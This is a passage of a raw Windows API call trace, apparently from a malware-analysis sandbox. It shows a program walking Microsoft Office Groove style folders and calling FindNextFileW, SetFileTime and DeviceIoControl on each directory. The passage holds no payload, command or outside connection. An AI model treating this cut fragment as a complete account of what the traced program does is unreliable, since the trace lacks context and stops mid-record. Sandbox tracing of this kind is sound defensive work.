dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.941] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0078.941] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.941] NtClose (Handle=0x164) returned 0x0 [0078.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.942] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8460 [0078.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d53e8 [0078.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.943] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8480 [0078.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d54f0 [0078.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4980) returned 0xacb2b8 [0078.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.944] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.945] GetLastError () returned 0x12 [0078.945] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.945] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.945] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.945] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.945] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.945] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.945] GetLastError () returned 0x12 [0078.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.945] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="")) returned 1 [0078.945] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue", cAlternateFileName="")) returned 1 [0078.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0078.946] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0078.946] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0078.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0078.946] NtClose (Handle=0x180) returned 0x0 [0078.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0078.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0078.947] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.947] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0078.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c84a0 [0078.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d55f8 [0078.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.948] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c84c0 [0078.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5700 [0078.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.949] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c84e0 [0078.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5808 [0078.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.950] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8500 [0078.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d5910 [0078.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.951] GetLastError () returned 0x12 [0078.951] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0078.951] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0078.951] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0078.951] GetLastError () returned 0x12 [0078.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0078.951] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0078.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0078.952] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0078.952] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay", cAlternateFileName="")) returned 1 [0078.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0078.952] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.953] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0078.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0078.953] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, 